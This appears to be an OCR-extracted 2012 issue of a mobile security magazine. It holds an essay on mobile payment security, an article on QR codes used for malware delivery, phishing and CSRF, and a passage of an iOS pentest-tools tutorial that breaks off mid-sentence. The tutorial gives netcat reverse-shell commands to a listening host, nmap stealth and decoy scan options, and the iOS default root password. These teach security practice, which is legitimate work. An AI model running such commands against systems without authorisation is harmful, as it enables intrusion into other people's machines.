M2N0

APLOIT YOUR MI

Vol.2 No.1 Issue 01/2012(2) ISSN: 1733-7186

TAG:

YOL

THE MOBILE WALLET AND E-COMMERCE PAYMENT SYSTEMS: ENSURING SEAMLESS SECURITY AND MOBILITY PENTEST IOS TOOLS

RE

2

THE LINE THAT MATTERS LAWFUL INTERCEPTION ON MOBILE TELECOM SERVICE





May 20th - 25th @ Okura Hotel Amsterdam

REGISTER ONLINE

http://conference.hitb.org/hitbsecconf2012ams/

Haking Mobile Security

Mobile Security

Editor in Chief: Grzegorz Tabaka grzegorz.tabaka@hakin9.org

Managing: Angelika Gucwa angelika.gucwa@hakin9.org

Senior Consultant/Publisher: Paweł Marciniak

Marketing Director: Angelika Gucwa angelika.gucwa@hakin9.org

Production Director: Andrzej Kuca andrzej.kuca@hakin9.org

DTP: Ireneusz Pogroszewski Art Director: Ireneusz Pogroszewski ireneusz.pogroszewski@hakin9.org

Proofreaders: Michael Munt, Bob Folden, Aby Rao, Jeffrey Smith

Top Betatesters: Mohamed Alami, Hammad Arshed, Nick Baronian, Shayne Cardwell, Amit Chugh, Sieng Chye, Amitay Dan, Dan Dieterle, Jürgen Eckel, Adool Ferguson, Alexandro Fernandez, Chris Gatford, Patrik Gange, Eric Hansen, Saurabh Harit, Tyler Hudak, Michal Jáchim, Wayne Kearns, Kelly Kohl, Lou Lombardy, Matteo Massar, Dinesh Nagarajan, Christopher Pedersen, David Prokop, Jonathan Ringler, Francisco Rodríguez, Inaki Rodríguez, Rissone Ruggero, Antonio Saporita, Tim Singletary, Daniel Sligar, Jeffrey Smith, Ayo Tayo – Bologun, Tim Thorniley, Tom Updegrove, Robert Wood, David von Vistauxx

Special Thanks to the Beta testers and Proofreaders who helped us with this issue. Without their assistance there would not be a Hakin9 Expoiting Software magazine.

Publisher: Software Press Sp. z o.o. SK 02-682 Warszawa, ul. Bokserska 1 Phone: 1 917 338 3631 www.hakin9.org/en

Whilst every effort has been made to ensure the high quality of the magazine, the editors make no warranty, express or implied, concerning the results of content usage. All trade marks presented in the magazine were used only for informative purposes.

All rights to trade marks presented in the magazine are reserved by the companies which own them. To create graphs and diagrams we used smartdrowwere program by smartDraw

Mathematical formulas created by Design Science MathType™

DISCLAIMER!

4 Mobile Security

The techniques described in our articles may only be used in private, local networks. The editors hold no responsibility for misuse of the presented techniques or consequent data loss.

Dear Readers,

We wish you all the best in 2012! We hope you've spent a lovely time with your family and friends and you have lots of New Year's resolutions. We wish you all New Year's dreams come true.

We are giving the second in history and the first in this year Hakin9 Mobile. We hope you enjoyed the first issue and you found many interesting news in it!

We hope that Hakin9 Mobile Security helps to protect your mobile phones, and articles wrote by our authors (who are specialists and experts in mobile security) will open your eyes in this matter.

Carla Hough wrote an article about mobile payment, cyber criminals and cybersecurity education.

Tim Kulp in his article is going to examine what are and how QR Codes can be used to realize threats facing our mobile devices by examining three attack vectors.

Mobile devices are an attractive platform for hackers, they can be the target but they can also be used as a weapon. Currently, today's mobile devices are not just simple ones, they are a dualcore computers in your pocket, and we can take advantage of their power and portability. Juan Manuel Altamirano Argudo in his article will discuss some of the tools that have been ported to iOS.

Abhinav Chourasia in his article expatiated on very interesting topic – Social Engineering. If you want be safe it is essential that you read this article.

Ted Chao will respond to the question stated in his article: New technologies will greatly help Police effectively intercept mobile communication to combat cyber crimes, but how to ensure private communication is protected?

At the end you can read an interview with Bryan Sullivan and Vincent Liu – authors of Web Application Security: A Beginner's Guide.

Enjoy the reading!

Angelika Gucwa and Hakin9 Team

01/2012

MOBILE HACK 06 The Mobile Wallet and E-Commerce

Payment Systems: Ensuring Seamless Security and Mobility

by Carla Hough

Due to the increase use of smartphone and tablets by consumers, merchants and corporate clients, the banking industry, network companies and retailers are uniquely positioned to offer its customers an array of mobile payment options that will be easy to use, convenient and secure. This paper explores the elements necessary to introduce innovative mobile payment (mobile wallet) services to increase profitability and further monetize the electronic marketplace (eMarketplace). To ensure its success, customers expect retailers, financial services and network providers to guarantee seamless security and mobility. When customers understand and are assured that their personal and financial information is secure; they will be more likely to adopt mobile wallet transaction services.



10 Tag: You're Infected!

by Tim Klup

The internet is a dangerous place. We (as Information Security people) have known this for a while and general users are learning more and more about how malicious web sites can steal your information. As mobile computing enables unique interactions with technology, new security risks arise. With the growing use of QR (Quick Response) Codes our data is becoming available to a format that users do not usually equate with Information Security: Print Media. QR Codes allow content providers, marketing gurus and cyber criminals to jump from a printed page to executing content on your mobile device. In this article we are going to examine how QR Codes can be used to realize threats facing our mobile devices by examining three attack vectors.

14 Pentest iOS Tools

by Juan Manuel Altamirano Argudo

Mobile devices are an attractive platform for hackers, they can be the target but they can also be used as a weapon. Currently, today's mobile devices are not just simple devices, they are a dualcore computer in your pocket, and we can take advantage of this power and portability. Now we can use it for such tasks such as penetration testing. There are a lot of tools that we know well from use on PC's. We are now seeing them being ported and running in on iOS devices.

MOBILE SECURITY

20 Lawful Interception on Mobile Telecom Service

by Ted Chao

For the past few years, IP network transformation is shaping into a new operation and management on telecommunication for lots of mobile and fixed net service providers in the world. Along with this trend, the technology of lawful interception by police, military intelligence and other law enforcement agencies is also being developed with great leaps and bounds thanks to IP network being extensively used in telecom service providers.

24 The Line That Matters

by Abhinav Chourasia

How often in real life do we ignore the little things that come and go in a swift blink of our eyes? And of course we are social beings. We always strive for the practical application of the theory that says love and help thy neighbor. And why not, as society literally means a civilization where in people co-exist, HELPING EACH OTHER. But do we really realize that the term helping is not always in the best interests of the society. 'Obvious' would definitely be the wrong term to describe the thin line that exists between THE SOCIAL AND THE ANTI-SOCIAL. The social: what we ideally should be; and the anti-social: what we actually are most of the time, due to the undeniable natural tendency of human beings.

INTERVIEW

32 Interview with Bryan Sullivan and Vincent Liu

by Aby Rao

Interview with Bryan Sullivan and Vincent Liu, authors of Web Application Security: A Beginner's Guide.

This book is different because it was written specifically for readers who are just getting into security. Most web application security books are targeted at readers who are already professionals; they have much higher knowledge prerequisites. Absent that knowledge, readers were confused and the text remained inaccessible. This book provides that knowledge by focusing on the fundamentals that every aspiring security practitioner should know – says Vincent Liu.

MOBILE HACK

The Mobile Wallet

and E-Commerce Payment Systems: Ensuring

Seamless Security and Mobility

Due to the increase use of smartphone and tablets by consumers, merchants and corporate clients, the banking industry, network companies and retailers are uniquely positioned to offer its customers an array of mobile payment options that will be easy to use, convenient and secure.

his paper explores the elements necessary to introduce innovative mobile payment (mobile wallet) services to increase profitability and further monetize the electronic marketplace (eMarketplace). To ensure its success, customers expect retailers, financial services and network providers to guarantee seamless security and mobility. When customers understand and are assured that their personal and financial information is secure; they will be more likely to adopt mobile wallet transaction services. However, threats posed by cyber criminals are concerning and with the 2010-2011 exponential increase in hacking incidents, it is critical that the highest regulatory and compliance standards are observed. If not, cyber criminals, organized crime syndicates and rogue nations will take advantage of exposure and conduct identity theft, Internet fraud (Health care, mortgage, credit card, or advance fees) and Internet scams (auction, business, Nigerian letter, or investment fraud). Planning for and implementing an Information Security and Cybersecurity Education, Training and Awareness Program is essential. Monetizing the eMarketplace is a winning proposition and it will require an unrelenting pursuit for seamless security and mobility.

Introduction

Americans are steadily becoming more accustomed to and dependent upon smartphone and tablet technologies because they make their lives easier, enjoyable, convenient, and efficient. According to Nielsonwire.com, smartphone sales for 2011 reflect an exponential growth (see Figure 1). In addition, approximately 42% percent of Americans over 18 now have smartphones (Kellogg, 2011). The next digital revolution is the mobile wallet, which utilizes the smartphone and tablet technologies to bring additional conveniences and monetize the mobile marketplace (mMarketplace). Mobile payment and banking services reduce costs, leverage new efficiencies of scale and increase profit margins. Financial services, retail and network partnerships are forming and teaming-up to provided cardholders with a secure, convenient and reliable way to make contactless debit card payments. For the U.S. market, other financial institutions are positioned to attract new customers by introducing paperless transactional services. As Dr. Hugh Thompson, Founder and Chief Security Strategist at People Security, once said to me, seamless security and mobility is the goal of all organizations (paraphrased).

Mobile Payment Services

The next generation of wireless mobile banking services is entering the mobile marketplace (KPMG, 2011). The iPad and other tablet devices are revolutionizing the way individuals and families live their daily lives, as well as how organizations manage people, business processes and technologies. In a report authored by PricewaterhouseCoopers, corporations are also leveraging security and mobility by working smarter, updating new security strategies and integrating mobile payment services (PricewaterhouseCoopers, 2011). For instance, Ahold USA launched a pilot program that enables customers (Giant and Stop & Shop) to download an iPhone application (app) to scan bar codes and purchase items (Wall Street Journal, 2011). Essentially, the monetization of mobile payment and banking services is already a reality. Many industries

are utilizing mobile payment and banking services to decrease costs and increase revenue streams, including:

- Colleges and Universities
- Trains and Bus Services
- Hospitals and Clinics
- Online Retailers and Local Merchants
- Restaurants and Cafes

Buying a digital newspaper or electronic book (eBook) is also becoming commonplace. I personally utilize mobile banking services to streamline costs and boost efficiency. At a moment's notice, I can quickly transfer funds to my two university-aged sons. In the past, they have called me to pay for their grocery bill or textbooks because they left their credit card in their dorm rooms. The mobile wallet will be a welcomed addition to any parent's life.

Monetizing Mobile Banking Services via the Electronic Wallet

Banking institutions already offer an array of Mobile Applications (Mobile Apps) to broaden brand recognition, augment customer convenience and maintain loyalty. As consumers transition to the mobile wallet, retailers and financial institutions will likely increase partnerships with national merchants, such as value chain partners, antivirus companies, cell phone carriers, and cloud service providers. As a result, new customer conveniences and brand loyalty will emerge. However, cybercrime is rampant; it includes but is not limited to: identity theft, hacking, money laundering, fraud, terrorism, weapons trafficking, human trafficking, bullying, electronic espionage, senior citizen scams, investment

ponzi schemes, cyber stalking, child pornography, cyber blackmail and drug trafficking.

Regulatory Standards and Seamless Security

It is essential that the mobile commerce (mCommerce) experience offer security, convenience and efficiency (Richard Johnson, Monitise, PLC Chief Strategy Officer). To capitalize upon the trust between the merchant and the customer, mobile payment systems and processes must adhere to the highest regulatory and compliance standards. Protecting Consumer Proprietary Network Information and Payment Card Industry data for example, is an unrelenting and a critical commitment. The consumer must be incredibly confidant that mobile banking payment systems adhere to and comply with all regulatory and compliance standards. Brand messaging this concept to consumers assures them that whenever and wherever they use their mobile device to secure a payment, seamless security and mobility is guaranteed.

Cybercrime and the Underground Economy

As a criminal justice graduate student at Seattle University, I personally funded and attended *The Underground Economy 2011: Internet Crime Insight Conference*, in Interpol Headquarters, Lyon, France (September 2011). There were over 30 countries represented and I met industry leaders from law enforcement, public industry, private industry and academic institutions. The number one commodity traded in the underground economy by cybercriminals, organized crime syndicates and rogue nation states is an identity. From a U.S. national security perspective, rogue countries and organized crime syndicates threaten global electronic commerce (eCommerce).



Figure 1. Smartphone sales for 2011 reflect an exponential growth

Mobile Security 7

MOBILE HACK

The U.S. Department of Justice is laser-focused in its determination to bring cyber criminals to justice and protect the free flow of goods and services. Their mission is to prevent, detect and respond to cybercrime and they have brought many to justice. *The Underground Economy 2011: Internet Crime Insight Conference* is a demonstration of the international cooperation and it requires the cooperation from private industry. There is no limit to victimization. Bypassing extremely complex authentication protocols, cybercriminals, rogue nations and organized crime syndicates launch:

- Complex spam operations
- Phishing schemes
- Malware deployments Distributed denial of service attacks (DDoS)
- Browser exploit packs
- Bot network(s)
- Trojans exploit and trade identities

Cooperating and working with law enforcement is also another means of integrating better security practices, systems and processes. In addition, designing and implementing an Information Security and Cybersecurity Education, Training and Awareness Program will demonstrate to consumers that financial institutions, network providers and retailers will accomplish everything possible to prevent, detect, and respond to threats to information networks, systems, and technologies.

Advance Persistent Threats and Identity Theft

The advance persistent threat (APT) refers to rogue nation or state-sponsored cybercrime operations. North Korea for instance leases network access to organized crime so they can conduct Internet scams, distributed denial of service operations, click fraud and spam operations. Another example includes yielding the technology or information gained from a successful cyber espionage operation and reverse engineering and selling counterfeit products. Examples of these counterfeit products include cell phones, software and even airplanes. Recently, Chinese authorities arrested employees and closed 22 fake Apple Stores that were discovered in Kunming, China (BBC, 2011). Identity theft is also rising. For instance, results from the Department of Justice's major fraud takedown operation called Operation Phish Phry targeted U.S. banks (2009). The victimized account holders had approximately \$1.5 million transferred to bogus accounts controlled by organized crime. More than 50 individuals in California, Nevada, and North Carolina were charged with computer fraud, conspiracy to commit bank fraud, money laundering, and aggravated identity theft. According to law enforcement officials, the largest aggregator of customer information is organized crime (2011 Cybercrime Conference). It is critical that industry leaders articulate, support and promote cybersecurity and information security education, training and awareness programs. Moreover, it is essential that public and private industry partnerships promote the best cybersecurity practices in the industry and ensure consumers that seamless security and seamless mobility are one.

Corporate Losses Associated with Cybercrime

According to Second Annual Cost of Cybercrime Study the medium annualized cost of cybercrime for 50 organizations was \$5.9 million annually-with a range of \$1.5-\$36 million each year for per company (Ponemon Institute, 2011). Industries with the highest costs due to breaches were financial services, defense, utilities and energy. Protecting these types of critical infrastructures is a U.S. national security priority (U.S. Computer Emergency Readiness Team, Department of Homeland Security). Although such breaches have soared since 2005 as criminals try to commit identity theft, the truly enormous breaches have increasingly been carried out by "hacktivists"-individuals or groups who are angry about an organization's actions. Hackers, for example, exposed data about 77 million Sony customers after the company pursued legal action against other hackers (Fischetti, 2011). More than 107 million people were affected by hacking during the first half of 2011, says Jake Kouns, CEO of the Open Security Foundation in Glen Allen, Va., which runs the DataLossDB project" (Fischetti, 2011). The losses stemmed by the Sony PlayStation hacking were estimated to cost \$172 million. With the exponential increase in corporate hacking incidents, the consumer may be wary of adopting new wireless banking activities.

Consumer Behaviors

Consumers will consider the personal and financial risks when adopting new mobile payment and banking services (Y.C. Shen et al, 2010). According to Y.C. Shen et al, there is concern about identity theft and the loss of personal data. Trust, a sense of control and technology anxiety may influence how consumers will adopt to new technologies and services. It is important to consider what the literature ascertains about human behavior. How can the results from current research be applied to the mobile payment and banking industry? Perhaps industry leaders can hold forums and bring together experts from the academic community, merchant associations, consumers, law enforcement, and corporate information security professionals. Promoting the best mobile device security practices in the industry will instill a level of trust and comfort that the customers require. Information Security, Privacy

and Cybersecurity Education, Training and Awareness Programs are essential.

Security Education, Training and Awareness Framework

Complex organizations require education, training and awareness programs and we know that learning is a continuum. It starts with awareness and then it builds a foundation for training (certification programs) and evolves into education (Undergraduate, Graduate and Ph.D.).

Security Education, Training and Awareness Program Plan

- Determine the scope and breadth of a Needs Assessment (CERT, Corporate Investigations, Risk Management, HR, Information Security Assurance, and Finance for instance).
- Identify and Assign Roles to:
 - Design, develop, implement, and maintain the awareness and training materials.
 - Ensure that the appropriate users attend online training sessions.
 - Identify, plan for, and maintain program evaluations with stakeholders.
- Enumerate goals to be accomplished for each aspect of the program (e.g., awareness, training, education, professional development [certification]).
- Define target internal audiences for each aspect of the program to ultimately reach the cardholder as a promise that the industry is committed to the highest level of seamless security and mobility.
- Enable digital maintenance of records, including, feedback, and evidence of learning for auditing and legal/privacy purposes.
- Obtain Executive Sponsorship
- Establish Deployment Communication Plan
- Roll-Out to Stakeholders
- Evaluate programs based upon data collected from Computer Incident Response Teams, corporate investigations, legal, and other critical stakeholders.

Limitations and Conclusion

The information is based upon open source materials gathered via the Internet and from Seattle University's online library system. No industry leaders or organizations, such as banks, network providers, mobile phone carriers, or law enforcement were interviewed or consulted. Further research is required to explore the following: cloud security, vendor relationships, Near Field Communications, SSL encryption models, Data Loss Prevention processes, money mule operations, and other major cybercrime investigations (U.S. Government, Sony, Lockheed Martin).

In conclusion, ensuring seamless security and mobility is the methodology for monetizing the mobile banking payment services. One can assumed that as more Americans purchase and rely upon their smartphones and tablets, they will have more opportunities to adopt mobile wallet payment services. Seamless security will be a critical factor. Especially in light of this year's increasing in hacking incidents and the corporate revelation of the staggering costs to shore-up corporate security, consumers may be apprehensive about in adopting mobile banking services. Therefore, it is the responsibility of of industry leaders to assure that seamless security and mobility is built into its processes and technologies. Once this is firmly established, customers, retailors and corporate clients will pursue partnerships to monetize the mobile marketplace. The threats posed by cyber criminals are unrelenting and costly and disruptions have caused devastating economic losses. There is no substitute for a well planned and executed Information Security and Cybersecurity Education, Training and Awareness Educating employees Program. demonstrates commitment to the customer and gives the customer assurance that when they use their mobile device to purchase good and services, they can remain confident that seamless security and mobility is firmly established. It requires a well-informed and educated workforce. Partnering with academia, research institutions, customers, vendors, and merchants will be a clever way to identify new trends and mobile commerce security concerns.

CARLA HOUGH

Carla Hough is current working at a T-Mobile USA as a Corporate Information Security Analyst. She is a former US Army Military Intelligence Officer, Drug Enforcement Administration Intelligence Analyst, and criminal justice university adjunct professor. Carla is pursing a Master of Arts in Criminal Justice at Seattle University and she will continue to researching and writing about computer hacking, the hacker community, the good things hackers do for the public good, and the underground economy.



Tag: You're infected! QR Codes as attack vectors

The internet is a dangerous place. We (as Information Security people) have known this for a while and general users are learning more and more about how malicious web sites can steal your information. As mobile computing enables unique interactions with technology, new security risks arise.

Www ith the growing use of QR (*Quick Response*) Codes our data is becoming available to a format that users do not usually equate with Information Security: Print Media. QR Codes allow content providers, marketing gurus and cyber criminals to jump from a printed page to executing content on your mobile device. In this article we are going to examine how QR Codes can be used to realize threats facing our mobile devices by examining three attack vectors.

What is a QR Code?

Originally, QR Codes were developed by Denso Wave (a division of Toyota) for tracking automobile parts. The code's design enabled it to store *several hundred times more information (According to the QR Code Features site (http://www.denso-wave.com/qrcode/qrfeature-e.html*)) than the standard 20 digit bar code. Over time, the QR Code has grown to be a powerful marketing tool that allows viewers to jump from offline media to online content with their mobile device. As an example of this, recently a television show provided a QR Code (showed during the broadcast) that allowed the viewers to download music performed by the star of the show. Another interesting example used



Figure 1. Sample QR Code for my blog

billboards to supply viewers with an electronic coupon. The marketing samples all further engaged the viewer (whether viewing a television show or billboard) by moving them from a view only medium to a mobile application or website. For marketing organizations, the appeal is the engagement that QR Codes allow.

Technically, a QR Code is a bar code that contains data both vertically and horizontally. The structure of a QR Code is built from five elements (5 Elements from the Wikipedia entry for QR Codes (*http://en.wikipedia.org/wiki/QR_Code*) but the definitions are from the QR Code Security report by SBA-Research in Austria (*http://www.sba-research.org/wp-content/uploads/publications/QR_Code_Security.pdf*)):

- *Version information*: Identifies which of the 40 different versions of QR Codes applies to this particular QR Code.
- *Format information*: Contains information about the error correction level of the QR Code as well as the masking pattern.
- Data and error correction keys: This is the data stream for the QR Code (what the code actually contains).
- *Required patterns*: on a QR Code there are numerous areas that hold special meaning to the QR Code reader. These include the 3 Finder Pattern points, Alignment point and Timing points.
 - *Finder Pattern*: three points in the upper left, upper right and lower left corners allow the QR Scanner to assess the bar code orientation and recognize that the scanner is viewing a QR Code.
 - *Alignment Point(s)*: Used to help the scanner when trying to read a QR Code that has image

distortion. If the QR Code is very large, multiple Alignment Points could be used.

- *Timing Points*: Used to determine the size of a single module (i.e. Data point)
- *Quiet Zone*: this is the white area around the QR Code that separates the bar code from the rest of the document.

While this article will not dive into the specifics about how a QR Code is constructed and can be modified, it is important to understand that a QR Code is more than a bunch of dots in a square. Advanced attacks on QR Codes manipulate the values in the data and error correction keys to alter the meaning of a legitimate code. These attacks can be sophisticated designs that mask over existing QR Codes flipping single data points (from white to black or black to white). In this article, we are going to focus on simple attacks that leverage what the QR Scanner is commanded to do by the code. The more complicated attacks are discussed in QR Code Security by Kieseberg, et al (*http://www.sba-research.org/wpcontent/uploads/publications/QR_Code_Security.pdf*).

What can a QR Code do?

QR Codes can contain any type of information. For mobile web they are used to store URLs, SMS messages, phone numbers, serialized objects, vcard information the possibilities are only limited by your scanner's capabilities. This flexibility allows for a very versatile implementation but also gives cybercriminals a wide breadth of attack vectors. An attacker could leverage the QR Code as a delivery method for malware or execute a script against a web site the mobile device is authenticated to.

The challenge that we face from an Information Security stand point, is that users do not know what the QR Code will do until it is scanned (if the content provider does not specify [which they should]). Users, in effect, blindly click a link and accept whatever is presented to them. The convenience of quickly scanning and then receiving the *prize* (whatever the user receives for clicking the QR Code: a coupon, a free download, etc...) makes QR Codes very attractive to those seeking instant gratification. With the focus on the *prize*, users might not be thinking about the risks involved in whatever the QR Code actually did on their mobile device.

3 Attacks with QR Codes

QR Codes make some attacks very simple. These three attacks are not specific to QR Codes, just made simpler when delivered through a QR Code scanner. In the end, the purpose of these explorations is to encourage the reader to think of the risks QR Codes can present to mobile devices not as a walk through or how-to build a malicious QR Code. As you will see, all you need is a QR Code Generator and some imagination to quickly build an attack.

Attack #1: Malware Delivery

Malware delivery has been around as an attack vector for years. Its various permutations (whether scareware, a new codec, etc...) all start with a download. QR Codes can be used to download software or direct users to an App in your device's App Store. Depending on the review process of the App Store, malware can sneak in and be trusted by the user because of it being listed in the App Store. Not every user is as suspect of the App Store as your average Information Security professional. Using a QR Code (which users might not think about security while scanning) and directing users to a trusted source (the App Store) the malware can seem perfectly legitimate.

Being that the malware is loading to your phone; cybercriminals can get creative with the payload. In September 2011, Kaspersky labs found a Russian web site that presented users a QR Code that promised an Instant Messaging application. When users scanned the QR Code and downloaded the App (which turned out to be malicious), the malware sent SMS messages to a premium service which provided the bad guys (or gals) \$5 and \$10 per message (From Mobile Marketer: Malicious QR code campaigns threaten legitimate marketers (http://www.mobilemarketer.com/cms/news/content/ 11296.html)). This might not seem like a lot of money but consider the economies of scale: the more people infected, the higher the pay off. If the application sent SMS messages on a reoccurring basis, then the payoff increases per user until the infected realizes the issue. While the malware is the payload, the QR Code is the delivery mechanism.

Attack #2: Phishing

Savvy web surfers will inspect a link, checking for anything suspicious but with QR Codes you just point and click. As a user you do not get the inspection that you could have with traditional hyperlinks unless your scanner provides that functionality for you. QR Codes are like tiny urls (such as *bit.ly* or *tiny.url*) in that you do not know where you really are going to go until you click the link. Combine this with the hidden address bar of many mobile browsers and you have the perfect Phishing opportunity. Consider a QR Code that states it links the user to a special offer for a banking site. A scan of the code can take the user to a fraudulent site that looks exactly like the legitimate site. Without checking the URL, users could believe that the site is their banking site and enter their credentials to receive a free gift.

Leveraging a user's trust in print material, QR Codes lend themselves well to Spear Phishing. Providing a target print content with a malicious code can be an effective attack vector. As an example, an attacker could post malware QR Codes at the local coffee shop of a targeted company to gather information or penetrate the network. As employees go to get their coffee, they scan the signs for deals all the while loading malware infused coupons. Users do not consider information security when looking at print media. The real world is fundamentally disconnected from the virtual and the idea that a piece of paper can wreak havoc to their digital world does not enter their mind.

Attack #3: Cross Site Request Forgery (CSRF)

OWASP Top Ten (*https://www.owasp.org/index.php/ Top_10_2010-A5*) describes a CSRF threat agent as someone who can trick users into submitting unintended requests to your application. Being that a QR Code can be anything from a JavaScript link (href="javascript:...") to a full query string path (?NewPassword=****) or whatever else an attacker can imagine (depending on the reader) QR Codes are an ideal delivery method for CSRF attacks.

This attack requires two components, a malicious QR Code and a vulnerable application. The QR Codes are easy to create and CSRF vulnerabilities are rated as Widespread (meaning that they are very common) by OWASP. Using the OWASP example, imagine a banking site that is vulnerable to CSRF attacks. The link to transfer funds to account 4673243243 being the following: http: //example.com/app/transferFunds?amount=1500&desti nationAccount=4673243243. Altering the guery string to apply the funds to an attackers account would be simple and storing that URL in a QR Code would not require much effort. This attack is further empowered by the personal nature of mobile devices. Users do not think to logout of applications or web sites because they are the only ones who use their device. Without knowing what the QR Code will do when scanned a user executes the malicious CSRF request against their banking site (which they never logged out of) and sends 1,500\$ to the attacker's account.

QR Codes are not alone

As with any popular product, competitors arise with different features and functionality. Microsoft Tag is a QR Code alternative (although they also support the QR Code standard) offering custom design, colorful imaging and a supporting report system. While QR Codes are a standard that anyone can produce, Microsoft Tag is a proprietary format that is unique to them. Along with Tag, Microsoft offers a service that not only provides reporting similar to Google Analytics but also scrubs for malicious links. Specifically, Microsoft Tag maintains a



Figure 2. Sample Microsoft Tag leading to my blog

Further Reading

- QR Code Security (http://www.sba-research.org/wpcontent/uploads/publications/QR_Code_Security.pdf)
- Mobile Marketer (http://www.mobilemarketer.com/cms/ news/content/11296.html)
- QR Code Safety (http://sandiego.bbb.org/article/consumeralert-qr-code-safety-28037)

blacklist of URLs and prevents their scanning software from processing requests to anything on the blacklist.

For this article, Microsoft Tag is provided as an illustration of a suite that utilizes some protection practices to prevent malicious tags from reaching your users. By managing the tag, scanner and cloud storage the service can maintain tight control over the content being provided for users. This adds a level of oversight to the content being processed by the user's scanning software. As the QR Code industry grows, more service providers like Microsoft Tag will come to market and provide an appealing solution to those who want to offload the QR Code management and have someone scanning for malicious codes. On the other hand, the automated processes that blacklists content can make mistakes and your legitimate content could be accidently identified as malicious. This would be a major problem if your multimillion dollar ad campaign is mistaken for malware. When building a QR Code solution, service providers can provide some added protection to your user base but can also introduce restrictions on your solution. Deciding whether or not to use a service provider needs to be driven by the project requirements.

A link with no name

QR Codes provide marketing organizations with a powerful engagement tool. A user just points their phone at an advertisement and instantly connects to the product's company. As use of QR Codes increases, cybercriminals are examining how this technology can be used for profit. Like many input validation attacks, QR Codes leverage the trust a user has in the authenticity of the code to deliver a malicious payload. The most powerful tool against malicious codes is educating end users that threats to their data exist outside of the computer in people, print and pictures. Foster a healthy level of skepticism in your users when it comes to QR Codes and reduce their chances of being tagged by a cyber-attack.

TIM KULP

Tim Kulp (CISSP, CEH) is the Manager of Systems Development at FrontierMEDEX in Baltimore, MD. Specializing in secure software development and Software Security Assurance practices, Tim writes and presents to developers on how to build secure systems. Recently Tim has been studying technologies such as Social Media, Augmented Reality and Tagging to examine security implications for business.

Stop Hackers in Their Tracks



Hacking Exposed, 6th Edition



Hacking Exposed Wireless, 2nd Edition



Hacking Exposed Web 2.0



Hacking Exposed Malware & Rootkits



Hacking Exposed: Web Applications, 3rd Edition



IT Auditing, 2nd Edition



Hacking Exposed Computer Forensics, 2nd Edition



Hacking Exposed Windows, 3rd Edition



IT Security Metrics



24 Deadly Sins of Software Security



Hacking Exposed Linux, 3rd Edition



Gray Hat Hacking, 3rd Edition





Pentest iOS Tools

Mobile devices are an attractive platform for hackers, they can be the target but they can also be used as a weapon. Currently, today's mobile devices are not just simple devices, they are a dualcore computer in your pocket, and we can take advantage of this power and portability.

N ow we can use it for such tasks such as penetration testing. There are a lot of tools that we know well from use on PC's. We are now seeing them being ported to and running on iOS devices.

There are many tools that can be used to perform aspects of a penetration test, here we'll discuss some of the tools that have been ported to iOS. We'll see some tools that are well known (should need more information on please search for the many tutorials available already).

First, we're going to install MobileTerminal, every tool listed within this article will need this app in order to run.

MobileTerminal

What's it?

It's an application that performs the function of a *shell*, allowing us to run commands in order to interact with the tools that we're going to install. More info.



Figure 1. Manual installation of mobileterminal

You should change the root password of your iOS device, because Apple set the same password on every one. Apple default root password is *alpine*.

How to install?

You can find a version of this app in Cydia, but this version does not work in iOS4 and higher. There are other repositories for Cydia with a working version for iOS4+.

However I'm going to explain the manual installation method. To perform this, you need to connect to your device by SSH (Figure 1):

- Access to http://code.google.com/p/mobileterminal/ and download the file *.zip
- Unzip and copy the content in/Applications directory on your iPhone



Figure 2. Mobile terminal

Pentest iOS Tools



Figure 3. Subversion on cydia

- Change ownerships on /Applications/Terminal.app to root
- Change permissions recursively on /Applications/ Terminal.app to 644
 - chmod 644 -R /Applications/Terminal.app
- Change permissions on /Applications/Terminal.app/ Terminal to 755
 - chmod 755 /Applications/Terminal.app/Terminal
- Change permissions on /Applications/Terminal.app to 755

chmod 755 /Applications/Terminal.app

 Reboot your iOS device and launch MobileTerminal (Figure 2)

Repositories of Cydia and Basic tools

You're going to need install some *extra* repos of Cydia to install some tools that are not in the preinstalled repositories:



Figure 4. Ruby on cydia



Figure 5. Rubygems on cydia

- Boococky's Repo http://boococky.hostei.com/Cydia
- iNinja's Repo http://ininjas.com/repo
- Boo's Repo http://cydia.myrepospace.com/Boo/

There're are some secondary tools that you need to also install as other apps need them as dependencies in order to work:

Subversion

You're going to need this app to connect to some of the repositories in order to get the files of some tools (Figure 3).

Ruby

Some tools will need Ruby to work and the last version (1.9.2) does not work correctly, you're going to need the version 1.8.6. You find this tool in Boo's repo (Figure 4).



Figure 6. Netcat on cydia



Figure 7. Scanning some ports with netcat

rubygems

You find this tool in Boo's repo (Figure 5).

NetCat

What's it?

It's an indispensable tool in the world of computer security and could not be excluded in our iOS Pen Test device. NetCat reads and writes data across network connections using TCP or UDP protocols. More info and manual.

Where do i find it?

You can install this tool from Cydia, it's in the preinstalled repos (Figure 6).

What can i do?

Netcat has endless features, it's considered to be like the computer security's *swiss knife*, and there are some samples here:

- · Provide a shell on a remote machine
- Get information about ports



Figure 8. nmap on cydia



Figure 9. nmap command line sample 1

- Send a file to a target
- Sniffer on a log
- Listen a specific port
- Bruteforce on a port

Scan some ports to check if they are open (Figure 7)

\$ nc -v -v -z 10.24.106.36 21 23 80 3306

- Get a remote Shell from a windows machine by running
 - \$ nc -vv -L -p 2236
- listen to connections on port 2236 running on the windows machine

\$ nc -d -e cmd.exe 192.168.1.41 2236

nmap

What's it?

It is an open source tool for the analysis of networks and tracking of TCP and UDP. It's a service port and protocol scanner. More info and manual.

Where do i find it?

You can install this tool from Cydia, it's in the preinstalled repos (Figure 8).

littleBIGIPho Password: littleBIGiPho Starting Nmag mass dns: wai pecify valid mass dns: wai . Try using - Stats: 0:000: an SYN Stealth :	one:/var p 5.00 (rning: U servers rning: U -system 13 elaps	/mobile http:// nable to with nable to -dns or ed; 5 ho	root# nm nmap.org open /e dns-serv determi specify sts comp) at 20 etc/resol vers ine any I valid se oleted (6	NS serve	16:35 C Try usir rs. Reve	ET igsyst erse DNS -servers	is disabled
QV	VE	EF	۲ ۲	L J	γl	٦ L	IC) P
Α	S	D	F	G	Η	J	К	L
Ŷ	Ζ	X	С	V	В	Ν	М	×
.?123				space				return

Figure 10. nmap command line sample 2

What can i do?

 Get information about open ports and OS of a machine \$ nmap -0 192.168.1.37

if there is not exact OS matches for a machine, the command print a *TCP/IP fingerprint*, this is unique for every OS

 Scan a network to find active hosts in a range \$ nmap -sP 192.168.1.1-255

you can use parameters to make a stealth scan

```
-sN - Stealth Null Scan
```

```
-sF - Stealth FIN Scan
```

-sX - Stealth Xmas Tree Scan

- -sP Stealth Ping Scan
- Scan and save the results in a file
- \$ nmap -sX -0 192.168.1.37 -oN result.txt
- Scan ports fooling the machine with Decoy Scan
 s nmap

